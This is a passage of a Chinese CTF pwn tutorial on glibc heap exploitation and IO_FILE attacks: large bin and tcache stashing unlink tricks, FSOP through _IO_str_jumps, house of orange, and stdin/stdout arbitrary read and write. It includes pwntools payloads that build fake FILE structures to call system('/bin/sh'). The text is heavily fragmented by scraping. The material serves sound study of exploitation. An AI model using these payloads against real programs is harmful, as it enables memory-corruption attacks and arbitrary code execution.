取代,目前应用情景并不是很广泛,但是其思路还是挺巧妙的,所以这里也介绍一下。 我们想用类似于unsorted bin into stack
的手段,将某个unsorted bin
的bk
指向我们需要获得读写权限的地址,然后申请到该地址,但是我们又没办法在该地址周围伪造fake chunk
,这时候可以配合large bin attack
进行攻击。 假设需要获取权限的目标地址为addr
,我们首先将某个unsorted bin
(large bin
大小,大小为X
,地址为Z
)的bk
指向addr-0x20
,然后将此时large bin
中某堆块(大小为Y
,X
略大于Y
)的bk
设为addr-0x18
,bk_nextsize
设为addr-0x20-0x20+3
。 这时通过申请0x50
大小的堆块(后面解释),然后unsorted bin
的那个堆块会被放入large bin
中,先是addr-0x10
被写入main_arena+88
(在此攻击手段中用处不大),然后由于large bin attack
,在地址Z
对应的堆块从unsorted bin
被转入large bin
后,addr-0x8
会被写入地址Z
,从addr-0x20+3
开始也会写入地址Z
,造成的结果就是addr-0x18
处会被写入了0x55
或0x56
(即地址Z
的最高位),相当于伪造了size
。 此时的情形如下:
1
2
3
addr
-
0x20
:
0x4d4caf8060000000
0x0000000000000056
addr
-
0x10
:
0x00007fe2b0e39b78
0x0000564d4caf8060
addr: ...
这时,由于之前申请了0x50
大小的堆块(解释了设置large bin
的bk_nextsize
的目的,即为伪造size
),那么就会申请到chunk header
位于addr-0x20
的fake chunk
返回给用户,此时需要访问到fake chunk
的bk
指针指向的地址(bck->fd = victim
),因此需要其为一个有效的地址 ,这就解释了设置large bin
的bk
的目的。 最后需要说明的是,当开了地址随机化之后,堆块的地址最高位只可能是0x55
或0x56
,而只有当最高位为0x56
的时候,上述攻击方式才能生效,这里其实和伪造0x7f
而用0x7_
后面加上其他某个数可能就不行的原因一样,是由于__libc_malloc
中有这么一句断言:
1
2
assert
(!victim || chunk_is_mmapped(mem2chunk(victim))
|| ar_ptr
=
=
arena_for_chunk(mem2chunk(victim)));
过上述检测需要满足以下一条即可:
victim
为 0
(没有申请到内存)
IS_MMAPPED
为 1
(是mmap
的内存)
NON_MAIN_ARENA
为 0
(申请到的内存必须在其所分配的arena
中) 而此时由于是伪造在别处的堆块,不满足我们常规需要满足的第三个条件,因此必须要满足第二个条件了,查看宏定义#define IS_MMAPPED 0x2
,#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
可知,需要size & 0x2
不为0
才能通过mmap
的判断。
值得一提的是,由于addr-0x8
(即fake chunk
的bk
域)被写入了地址Z
,因此最终在fake chunk
被返还给用户后,unsorted bin
中仍有地址Z
所对应的堆块(已经被放入了large bin
中),且其fd
域被写入了main_arena+88
(bck->fd = unsorted_chunks(av)
)。
tcache_stashing_unlink_attack
先来看house of lore
,如果能够修改small bin
的某个free chunk
的bk
为fake chunk
,并且通过修改fake chunk
的fd
为该free chunk
,绕过__glibc_unlikely( bck->fd != victim )
检查,就可以通过申请堆块得到这个fake chunk
,进而进行任意地址的读写操作。 当在高版本libc
下有tcache
后,将会更加容易达成上述目的,因为当从small bin
返回了一个所需大小的chunk
后,在将剩余堆块放入tcache bin
的过程中,除了检测了第一个堆块的fd
指针外,都缺失了__glibc_unlikely (bck->fd != victim)
的双向链表完整性检测,又calloc()
会越过tcache
取堆块,因此有了如下tcache_stashing_unlink_attack
的攻击手段,并同时实现了libc
的泄露或将任意地址中的值改为很大的数(与unsorted bin attack
很类似)。
假设目前tcache bin
中已经有五个堆块,并且相应大小的small bin
中已经有两个堆块,由bk
指针连接为:chunk_A<-chunk_B
。
利用漏洞修改chunk_A
的bk
为fake chunk
,并且修改fake chunk
的bk
为target_addr - 0x10
。
通过calloc()
越过tcache bin
,直接从small bin
中取出chunk_B
返回给用户,并且会将chunk_A
以及其所指向的fake chunk
放入tcache bin
(这里只会检测chunk_A
的fd
指针是否指向了chunk_B
)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
while
( tcache
-
>counts[tc_idx] < mp_.tcache_count
&& (tc_victim
=
last (
bin
) ) !
=
bin
)
/
/
验证取出的Chunk是否为
Bin
本身(Smallbin是否已空)
{
if
(tc_victim !
=
0
)
/
/
成功获取了chunk
{
bck
=
tc_victim
-
>bk;
/
/
在这里bck是fake chunk的bk
/
/
设置标志位
set_inuse_bit_at_offset (tc_victim, nb);
if
(av !
=
&main_arena)
set_non_main_arena (tc_victim);
bin
-
>bk
=
bck;
bck
-
>fd
=
bin
;
/
/
关键处
tcache_put (tc_victim, tc_idx);
/
/
将其放入到tcache中
}
}
在fake chunk
放入tcache bin
之前,执行了bck->fd = bin;
的操作(这里的bck
就是fake chunk
的bk
,也就是target_addr - 0x10
),故target_addr - 0x10
的fd
,也就target_addr
地址会被写入一个与libc
相关大数值(可利用)。
再申请一次,就可以从tcache
中获得fake chunk
的控制权。
综上,此利用可以完成获得任意地址的控制权 和在任意地址写入大数值 两个任务,这两个任务当然也可以拆解分别完成。
获得任意地址target_addr
的控制权:在上述流程中,直接将chunk_A
的bk
改为target_addr - 0x10
,并且保证target_addr - 0x10
的bk
的fd
为一个可写地址(一般情况下,使target_addr - 0x10
的bk
,即target_addr + 8
处的值为一个可写地址即可)。
在任意地址target_addr
写入大数值:在unsorted bin attack
后,有时候要修复链表,在链表不好修复时,可以采用此利用达到同样的效果,在高版本glibc
下,unsorted bin attack
失效后,此利用应用更为广泛。在上述流程中,需要使tcache bin
中原先有六个堆块,然后将chunk_A
的bk
改为target_addr - 0x10
即可。
此外,让tcache bin
中不满七个,就又在smallbin
中有同样大小的堆块,并且只有calloc
,可以利用堆块分割后,残余部分进入unsorted bin
实现。
IO_FILE 相关结构体
_IO_FILE_plus
结构体的定义为:
1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE
file
;
const struct _IO_jump_t
*
vtable;
};
vtable
对应的结构体_IO_jump_t
的定义为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/
*
showmany
*
/
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
get_column;
set_column;
};
这个函数表中有19
个函数,分别完成IO
相关的功能,由IO
函数调用,如fwrite
最终会调用__write
函数,fread
会调用__doallocate
来分配IO
缓冲区等。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
struct _IO_FILE {
int
_flags;
char
*
_IO_read_ptr;
/
*
Current read pointer
*
/
char
*
_IO_read_end;
/
*
End of get area.
*
/
char
*
_IO_read_base;
/
*
Start of putback
+
get area.
*
/
char
*
_IO_write_base;
/
*
Start of put area.
*
/
char
*
_IO_write_ptr;
/
*
Current put pointer.
*
/
char
*
_IO_write_end;
/
*
End of put area.
*
/
char
*
_IO_buf_base;
/
*
Start of reserve area.
*
/
char
*
_IO_buf_end;
/
*
End of reserve area.
*
/
/
*
The following fields are used to support backing up
and
undo.
*
/
char
*
_IO_save_base;
/
*
Pointer to start of non
-
current get area.
*
/
char
*
_IO_backup_base;
/
*
Pointer to first valid character of backup area
*
/
char
*
_IO_save_end;
/
*
Pointer to end of non
-
current get area.
*
/
struct _IO_marker
*
_markers;
struct _IO_FILE
*
_chain;
int
_fileno;
int
_blksize;
int
_flags2;
_IO_off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[
1
];
_IO_lock_t
*
_lock;
};
进程中FILE
结构通过_chain
域构成一个链表,链表头部为_IO_list_all
全局变量,默认情况下依次链接了stderr
,stdout
,stdin
三个文件流,并将新建的流插入到头部,vtable
虚表为_IO_file_jumps
。 此外,还有_IO_wide_data
结构体:
1
2
3
4
5
6
7
8
9
10
11
12
13
struct _IO_wide_data
{
wchar_t
*
_IO_read_ptr;
wchar_t
*
_IO_read_end;
wchar_t
*
_IO_read_base;
wchar_t
*
_IO_write_base;
wchar_t
*
_IO_write_ptr;
wchar_t
*
_IO_write_end;
wchar_t
*
_IO_buf_base;
wchar_t
*
_IO_buf_end;
[...]
const struct _IO_jump_t
*
_wide_vtable;
};
还有一些宏的定义:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
此外,许多Pwn
题初始化的时候都会有下面三行:
1
2
3
setvbuf(stdin,
0LL
,
2
,
0LL
);
setvbuf(stdout,
0LL
,
2
,
0LL
);
setvbuf(stderr,
0LL
,
2
,
0LL
);
这是初始化程序的io
结构体,只有初始化之后,io
函数才能在程序过程中打印数据,如果不初始化,就只能在exit
结束的时候,才能一起把数据打印出来。
IO_FILE attack 之 FSOP (libc 2.23 & 2.24)
主要原理为劫持vtable
与_chain
,伪造IO_FILE
,主要利用方式为调用IO_flush_all_lockp()
函数触发。IO_flush_all_lockp()
函数将在以下三种情况下被调用:
libc
检测到内存错误 ,从而执行abort
函数时(在glibc-2.26
删除)。
程序执行exit
函数时。
程序从main
函数返回时。
源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int
_IO_flush_all_lockp (
int
do_lock)
{
int
result
=
0
;
struct _IO_FILE
*
fp;
int
last_stamp;
fp
=
(_IO_FILE
*
) _IO_list_all;
while
(fp !
=
NULL)
{
...
if
(((fp
-
>_mode <
=
0
&& fp
-
>_IO_write_ptr > fp
-
>_IO_write_base)
|| (_IO_vtable_offset (fp)
=
=
0
&& fp
-
>_mode >
0
&& (fp
-
>_wide_data
-
>_IO_write_ptr
> fp
-
>_wide_data
-
>_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF)
=
=
EOF)
/
/
如果输出缓冲区有数据,刷新输出缓冲区
result
=
EOF;
fp
=
fp
-
>_chain;
/
/
遍历链表
}
[...]
}
可以看到,当满足:
1
2
fp
-
>_mode
=
0
fp
-
>_IO_write_ptr > fp
-
>_IO_write_base
就会调用_IO_OVERFLOW()
函数,而这里的_IO_OVERFLOW
就是文件流对象虚表的第四项 指向的内容_IO_new_file_overflow
,因此在libc-2.23
版本下可如下构造,进行FSOP
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
._chain
=
> chunk_addr
chunk_addr
{
file
=
{
_flags
=
"/bin/sh\x00"
,
/
/
对应此结构体首地址(fp)
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
_IO_write_ptr
=
0x1
,
...
_mode
=
0x0
,
/
/
一般不用特意设置
_unused2
=
'\000'
19
times>
},
vtable
=
heap_addr
}
heap_addr
{
__dummy
=
0x0
,
__dummy2
=
0x0
,
__finish
=
0x0
,
__overflow
=
system_addr,
...
}
因此这样构造,通过_IO_OVERFLOW (fp)
,我们就实现了system("/bin/sh\x00")
。
而libc-2.24
加入了对虚表的检查IO_validate_vtable()
与IO_vtable_check()
,若无法通过检查,则会报错:Fatal error: glibc detected an invalid stdio handle
。
1
2
3
4
5
6
(IO_validate_vtable \
(
*
(struct _IO_jump_t
*
*
) ((void
*
) &_IO_JUMPS_FILE_plus (THIS) \
+
(THIS)
-
>_vtable_offset)))
可见在最终调用vtable
的函数之前,内联进了IO_validate_vtable
函数,其源码如下:
1
2
3
4
5
6
7
8
9
static inline const struct _IO_jump_t
*
IO_validate_vtable (const struct _IO_jump_t
*
vtable)
{
uintptr_t section_length
=
__stop___libc_IO_vtables
-
__start___libc_IO_vtables;
const char
*
ptr
=
(const char
*
) vtable;
uintptr_t offset
=
ptr
-
__start___libc_IO_vtables;
if
(__glibc_unlikely (offset >
=
section_length))
/
/
检查vtable指针是否在glibc的vtable段中。
_IO_vtable_check ();
return
vtable;
}
glibc
中有一段完整的内存存放着各个vtable
,其中__start___libc_IO_vtables
指向第一个vtable
地址_IO_helper_jumps
,而__stop___libc_IO_vtables
指向最后一个vtable_IO_str_chk_jumps
结束的地址。 若指针不在glibc
的vtable
段,会调用_IO_vtable_check()
做进一步检查,以判断程序是否使用了外部合法的vtable
(重构或是动态链接库中的vtable
),如果不是则报错。 具体源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void attribute_hidden _IO_vtable_check (void)
{
void (
*
flag) (void)
=
atomic_load_relaxed (&IO_accept_foreign_vtables);
PTR_DEMANGLE (flag);
if
(flag
=
=
&_IO_vtable_check)
/
/
检查是否是外部重构的vtable
return
;
{
Dl_info di;
struct link_map
*
l;
if
(_dl_open_hook !
=
NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) !
=
0
&& l
-
>l_ns !
=
LM_ID_BASE))
/
/
检查是否是动态链接库中的vtable
return
;
}
...
__libc_fatal (
"Fatal error: glibc detected an invalid stdio handle\n"
);
}
因此,最好的办法是:我们伪造的vtable
在glibc
的vtable
段中,从而得以绕过该检查。 目前来说,有四种思路:利用_IO_str_jumps
中_IO_str_overflow()
函数,利用_IO_str_jumps
中_IO_str_finish()
函数与利用_IO_wstr_jumps
中对应的这两种函数,先来介绍最为方便的:利用_IO_str_jumps
中_IO_str_finish()
函数的手段。_IO_str_jumps
的结构体如下:
1
2
3
4
5
6
7
8
9
const struct _IO_jump_t _IO_str_jumps libio_vtable
=
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
...
}
其中,_IO_str_finish
源代码如下:
1
2
3
4
5
6
7
void _IO_str_finish (_IO_FILE
*
fp,
int
dummy)
{
if
(fp
-
>_IO_buf_base && !(fp
-
>_flags & _IO_USER_BUF))
(((_IO_strfile
*
) fp)
-
>_s._free_buffer) (fp
-
>_IO_buf_base);
/
/
执行函数
fp
-
>_IO_buf_base
=
NULL;
_IO_default_finish (fp,
0
);
}
其中相关的_IO_str_fields
结构体与_IO_strfile_
结构体的定义:
1
2
3
4
5
6
7
8
9
10
11
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
可以看到,它使用了IO
结构体中的值当作函数地址来直接调用,如果满足条件,将直接将fp->_s._free_buffer
当作函数指针 来调用。 首先,仍然需要绕过之前的_IO_flush_all_lokcp
函数中的输出缓冲区的检查_mode<=0
以及_IO_write_ptr>_IO_write_base
进入到_IO_OVERFLOW
中。 我们可以将vtable
的地址覆盖成_IO_str_jumps-8
,这样会使得_IO_str_finish
函数成为了伪造的vtable
地址的_IO_OVERFLOW
函数(因为_IO_str_finish
偏移为_IO_str_jumps
中0x10
,而_IO_OVERFLOW
为0x18
)。这个vtable
(地址为_IO_str_jumps-8
)可以绕过检查,因为它在vtable
的地址段中。 构造好vtable
之后,需要做的就是构造IO FILE
结构体其他字段,以进入将fp->_s._free_buffer
当作函数指针的调用:先构造fp->_IO_buf_base
为/bin/sh
的地址,然后构造fp->_flags
不包含_IO_USER_BUF
,它的定义为#define _IO_USER_BUF 1
,即fp->_flags
最低位为0
。 最后构造fp->_s._free_buffer
为system_addr
或one gadget
即可getshell
。 由于libc
中没有_IO_str_jump
的符号,因此可以通过_IO_str_jumps
是vtable
中的倒数第二个表,用vtable
的最后地址减去0x168
定位。 也可以用如下函数进行定位:
1
2
3
4
5
6
7
8
def
get_IO_str_jumps():
IO_file_jumps_addr
=
libc.sym[
'_IO_file_jumps'
]
IO_str_underflow_addr
=
libc.sym[
'_IO_str_underflow'
]
for
ref
in
libc.search(p64(IO_str_underflow_addr
-
libc.address)):
possible_IO_str_jumps_addr
=
ref
-
0x20
if
possible_IO_str_jumps_addr > IO_file_jumps_addr:
return
possible_IO_str_jumps_addr
可以进行如下构造:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
._chain
=
> chunk_addr
chunk_addr
{
file
=
{
_flags
=
0x0
,
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
_IO_write_ptr
=
0x1
,
_IO_write_end
=
0x0
,
_IO_buf_base
=
bin_sh_addr,
...
_mode
=
0x0
,
/
/
一般不用特意设置
_unused2
=
'\000'
19
times>
},
vtable
=
_IO_str_jumps
-
8
/
/
chunk_addr
+
0xd8
~
+
0xe0
}
+
0xe0
~
+
0xe8
:
0x0
+
0xe8
~
+
0xf0
: system_addr
/
one_gadget
/
/
fp
-
>_s._free_buffer
利用house of orange
(见下文)构造的payload
:
1
2
3
4
payload
=
p64(
0
)
+
p64(
0x60
)
+
p64(
0
)
+
p64(libc.sym[
'_IO_list_all'
]
-
0x10
)
payload
+
=
p64(
0
)
+
p64(
1
)
+
p64(
0
)
+
p64(
next
(libc.search(b
'/bin/sh'
)))
payload
=
payload.ljust(
0xd8
, b
'\x00'
)
+
p64(get_IO_str_jumps()
-
8
)
payload
+
=
p64(
0
)
+
p64(libc.sym[
'system'
])
再来介绍一下:利用_IO_str_jumps
中_IO_str_overflow()
函数的手段。_IO_str_overflow()
函数的源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int
_IO_str_overflow (_IO_FILE
*
fp,
int
c)
{
int
flush_only
=
c
=
=
EOF;
_IO_size_t pos;
if
(fp
-
>_flags & _IO_NO_WRITES)
return
flush_only ?
0
: EOF;
if
((fp
-
>_flags & _IO_TIED_PUT_GET) && !(fp
-
>_flags & _IO_CURRENTLY_PUTTING))
{
fp
-
>_flags |
=
_IO_CURRENTLY_PUTTING;
fp
-
>_IO_write_ptr
=
fp
-
>_IO_read_ptr;
fp
-
>_IO_read_ptr
=
fp
-
>_IO_read_end;
}
pos
=
fp
-
>_IO_write_ptr
-
fp
-
>_IO_write_base;
if
(pos >
=
(_IO_size_t) (_IO_blen (fp)
+
flush_only))
{
if
(fp
-
>_flags & _IO_USER_BUF)
/
*
not
allowed to enlarge
*
/
return
EOF;
else
{
char
*
new_buf;
char
*
old_buf
=
fp
-
>_IO_buf_base;
size_t old_blen
=
_IO_blen (fp);
_IO_size_t new_size
=
2
*
old_blen
+
100
;
if
(new_size < old_blen)
return
EOF;
new_buf
=
(char
*
) (
*
((_IO_strfile
*
) fp)
-
>_s._allocate_buffer) (new_size);
/
/
调用了fp
-
>_s._allocate_buffer函数指针
if
(new_buf
=
=
NULL)
{
/
*
__ferror(fp)
=
1
;
*
/
return
EOF;
}
if
(old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(
*
((_IO_strfile
*
) fp)
-
>_s._free_buffer) (old_buf);
/
*
Make sure _IO_setb won't
try
to delete _IO_buf_base.
*
/
fp
-
>_IO_buf_base
=
NULL;
}
memset (new_buf
+
old_blen,
'\0'
, new_size
-
old_blen);
_IO_setb (fp, new_buf, new_buf
+
new_size,
1
);
fp
-
>_IO_read_base
=
new_buf
+
(fp
-
>_IO_read_base
-
old_buf);
fp
-
>_IO_read_ptr
=
new_buf
+
(fp
-
>_IO_read_ptr
-
old_buf);
fp
-
>_IO_read_end
=
new_buf
+
(fp
-
>_IO_read_end
-
old_buf);
fp
-
>_IO_write_ptr
=
new_buf
+
(fp
-
>_IO_write_ptr
-
old_buf);
fp
-
>_IO_write_base
=
new_buf;
fp
-
>_IO_write_end
=
fp
-
>_IO_buf_end;
}
}
if
(!flush_only)
*
fp
-
>_IO_write_ptr
+
+
=
(unsigned char) c;
if
(fp
-
>_IO_write_ptr > fp
-
>_IO_read_end)
fp
-
>_IO_read_end
=
fp
-
>_IO_write_ptr;
return
c;
}
和之前利用_IO_str_finish
的思路差不多,可以看到其中调用了fp->_s._allocate_buffer
函数指针,其参数rdi
为new_size
,因此,我们将_s._allocate_buffer
改为system
的地址,new_size
改为/bin/sh
的地址,又new_size = 2 * old_blen + 100
,也就是new_size = 2 * _IO_blen (fp) + 100
,可以找到宏定义:#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
,因此new_size = 2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100
,故我们可以使_IO_buf_base = 0
,_IO_buf_end = (bin_sh_addr - 100) // 2
,当然还不能忘了需要绕过_IO_flush_all_lokcp
函数中的输出缓冲区的检查_mode<=0
以及_IO_write_ptr>_IO_write_base
才能进入到_IO_OVERFLOW
中,故令_IO_write_ptr = 0xffffffffffffffff
且_IO_write_base = 0x0
即可。 最终可按如下布局fake IO_FILE
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
._chain
=
> chunk_addr
chunk_addr
{
file
=
{
_flags
=
0x0
,
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
_IO_write_ptr
=
0x1
,
_IO_write_end
=
0x0
,
_IO_buf_base
=
0x0
,
_IO_buf_end
=
(bin_sh_addr
-
100
)
/
/
2
,
...
_mode
=
0x0
,
/
/
一般不用特意设置
_unused2
=
'\000'
19
times>
},
vtable
=
_IO_str_jumps
/
/
chunk_addr
+
0xd8
~
+
0xe0
}
+
0xe0
~
+
0xe8
: system_addr
/
one_gadget
/
/
fp
-
>_s._allocate_buffer
参考payload
(劫持的stdout
):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
new_size
=
libc_base
+
next
(libc.search(b
'/bin/sh'
))
payload
=
p64(
0xfbad2084
)
payload
+
=
p64(
0
)
payload
+
=
p64(
0
)
payload
+
=
p64(
0
)
payload
+
=
p64(
0
)
payload
+
=
p64(
0xffffffffffffffff
)
payload
+
=
p64(
0
)
payload
+
=
p64(
0
)
payload
+
=
p64((new_size
-
100
)
/
/
2
)
payload
+
=
p64(
0
)
*
4
payload
+
=
p64(libc_base
+
libc.sym[
"_IO_2_1_stdin_"
])
payload
+
=
p64(
1
)
+
p64((
1
<<
64
)
-
1
)
payload
+
=
p64(
0
)
+
p64(libc_base
+
0x3ed8c0
)
payload
+
=
p64((
1
<<
64
)
-
1
)
+
p64(
0
)
payload
+
=
p64(libc_base
+
0x3eb8c0
)
payload
+
=
p64(
0
)
*
6
payload
+
=
p64(libc_base
+
get_IO_str_jumps_offset())
payload
+
=
p64(libc_base
+
libc.sym[
"system"
])
而在libc-2.28
及以后,由于不再使用偏移找_s._allocate_buffer
和_s._free_buffer
,而是直接用malloc
和free
代替,所以FSOP
也失效了。
house of orange
利用unsorted bin attack
配合 IO_FILE attack (FSOP)
进行攻击。 通过unsorted bin attack
将_IO_list_all
内容从_IO_2_1_stderr_
改为main_arena+88/96
(实则指向top chunk
)。 而在_IO_FILE_plus
结构体中,_chain
的偏移为0x68
,而top chunk
之后为0x8
单位的last_remainder
,接下来为unsorted bin
的fd
与bk
指针,共0x10
大小,再之后为small bin
中的指针(每个small bin
有fd
与bk
指针,共0x10
个单位),剩下0x50
的单位,从smallbin[0]
正好分配到smallbin[4]
(准确说为其fd
字段),大小就是从0x20
到0x60
,而smallbin[4]
的fd
字段中的内容为该链表中最靠近表头的small bin
的地址 (chunk header
),因此0x60
的small bin
的地址即为fake struct
的_chain
中的内容,只需要控制该0x60
的small bin
(以及其下面某些堆块)中的部分内容,即可进行FSOP
。
IO_FILE attack 之 利用_fileno字段
_fileno
的值就是文件描述符 ,位于stdin
文件结构开头0x70
偏移处,如:stdin
的fileno
为0
,stdout
的fileno
为1
,stderr
的fileno
为2
。 在漏洞利用中,可以通过修改stdin
的_fileno
值来重定位 需要读取的文件,本来为0
的话,表示从标准输入中读取,修改为3
则表示为从文件描述符为3
的文件(已经open
的文件)中读取,该利用在某些情况下可直接读取flag
。
IO_FILE attack 之 任意读写
1.利用stdin
进行任意写
scanf
,fread
,gets
等读入走IO
指针(read
不走)。大体流程 为:若_IO_buf_base
为空,则调用_IO_doallocbuf
去初始化输入缓冲区,然后判断输入缓冲区是否存在剩余数据,如果输入缓冲区有剩余数据(_IO_read_end > _IO_read_ptr
)则将其直接拷贝至目标地址 (不会对此时输入的数据进行读入),如果没有或不够,则调用__underflow
函数执行系统调用读取数据 (SYS_read
)到输入缓冲区(从_IO_buf_base
到_IO_buf_end
,默认0x400
,即将数据读到_IO_buf_base
,读取0x400
个字节),此时若实际读入了n
个字节的数据,则_IO_read_end = _IO_buf_base + n
(即_IO_read_end
指向实际读入的最后一个字节的数据),之后再将输入缓冲区中的数据拷贝到目标地址。 这里需要注意的是,若输入缓冲区中没有剩余的数据,则每次读入数据进输入缓冲区,仅和_IO_buf_base
与_IO_buf_end
有关。 在将数据从输入缓冲区拷贝到目标地址的过程中,需要满足所调用的读入函数的自身的限制条件 ,例如:使用scanf("%d",&a)
读入整数,则当在输入缓冲区中遇到了字符(或scanf
的一些截断符)等不符合的情况,就会停止这个拷贝的过程。最终,_IO_read_ptr
指向成功拷贝到目的地址中的最后一个字节数据在输入缓冲区中的地址。因此,若是遇到了不符合限制条件的情况而终止拷贝,则最终会使得_IO_read_end > _IO_read_ptr
,即再下一次读入之前会被认定为输入缓冲区中仍有剩余数据,在此情况下,很有可能不会进行此次读入 ,或将输入缓冲区中剩余的数据拷贝到此次读入的目标地址,从而导致读入的错误 。getchar()
和IO_getc()
的作用是刷新_IO_read_ptr
,每次调用,会从输入缓冲区读一个字节数据,即将_IO_read_ptr++
。 相关源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
_IO_size_t _IO_file_xsgetn (_IO_FILE
*
fp, void
*
data, _IO_size_t n)
{
...
if
(fp
-
>_IO_buf_base
=
=
NULL)
{
...
/
/
输入缓冲区为空则初始化输入缓冲区
}
while
(want >
0
)
{
have
=
fp
-
>_IO_read_end
-
fp
-
>_IO_read_ptr;
if
(have >
0
)
{
...
/
/
memcpy
}
if
(fp
-
>_IO_buf_base
&& want < (size_t) (fp
-
>_IO_buf_end
-
fp
-
>_IO_buf_base))
{
if
(__underflow (fp)
=
=
EOF)
/
/
调用__underflow读入数据
...
}
...
return
n
-
want;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int
_IO_new_file_underflow (_IO_FILE
*
fp)
{
_IO_ssize_t count;
...
/
/
会检查_flags是否包含_IO_NO_READS标志,包含则直接返回。
/
/
标志的定义是
if
(fp
-
>_flags & _IO_NO_READS)
{
fp
-
>_flags |
=
_IO_ERR_SEEN;
__set_errno (EBADF);
return
EOF;
}
/
/
如果输入缓冲区里存在数据,则直接返回
if
(fp
-
>_IO_read_ptr < fp
-
>_IO_read_end)
return
*
(unsigned char
*
) fp
-
>_IO_read_ptr;
...
/
/
调用_IO_SYSREAD函数最终执行系统调用读取数据
count
=
_IO_SYSREAD (fp, fp
-
>_IO_buf_base,
fp
-
>_IO_buf_end
-
fp
-
>_IO_buf_base);
...
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
综上,为了做到任意写 ,满足如下条件,即可进行利用: (1) 设置_IO_read_end
等于_IO_read_ptr
(使得输入缓冲区内没有剩余数据,从而可以从用户读入数据)。 (2) 设置_flag &~ _IO_NO_READS
即_flag &~ 0x4
(一般不用特意设置)。 (3) 设置_fileno
为0
(一般不用特意设置)。 (4) 设置_IO_buf_base
为write_start
,_IO_buf_end
为write_end
(我们目标写的起始地址是write_start
,写结束地址为write_end
),且使得_IO_buf_end-_IO_buf_base
大于要写入的数据长度。
2.利用stdout
进行任意读/写
printf
,fwrite
,puts
等输出走IO
指针(write
不走)。 在_IO_2_1_stdout_
中,_IO_buf_base
和_IO_buf_end
为输出缓冲区起始位置(默认大小为0x400
),在输出的过程中,会先将需要输出的数据从目标地址拷贝到输出缓冲区,再从输出缓冲区输出给用户。 缓冲区建立函数_IO_doallocbuf
会建立输出缓冲区,并把基地址保存在_IO_buf_base
中,结束地址保存在_IO_buf_end
中。在建立里输出缓冲区后,会将基址址给_IO_write_base
,若是设置的是全缓冲模式_IO_FULL_BUF
,则会将结束地址给_IO_write_end
,若是设置的是行缓冲模式_IO_LINE_BUF
,则_IO_write_end
中存的是_IO_buf_base
,此外,_IO_write_ptr
表示输出缓冲区中已经使用到的地址。即_IO_write_base
到_IO_write_ptr
之间的空间是已经使用的缓冲区,_IO_write_ptr
到_IO_write_end
之间为剩余的输出缓冲区。 最终实际调用了_IO_2_1_stdout_
的vtable
中的_xsputn
,也就是_IO_new_file_xsputn
函数,源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
IO_size_t _IO_new_file_xsputn (_IO_FILE
*
f, const void
*
data, _IO_size_t n)
{
const char
*
s
=
(const char
*
) data;
_IO_size_t to_do
=
n;
int
must_flush
=
0
;
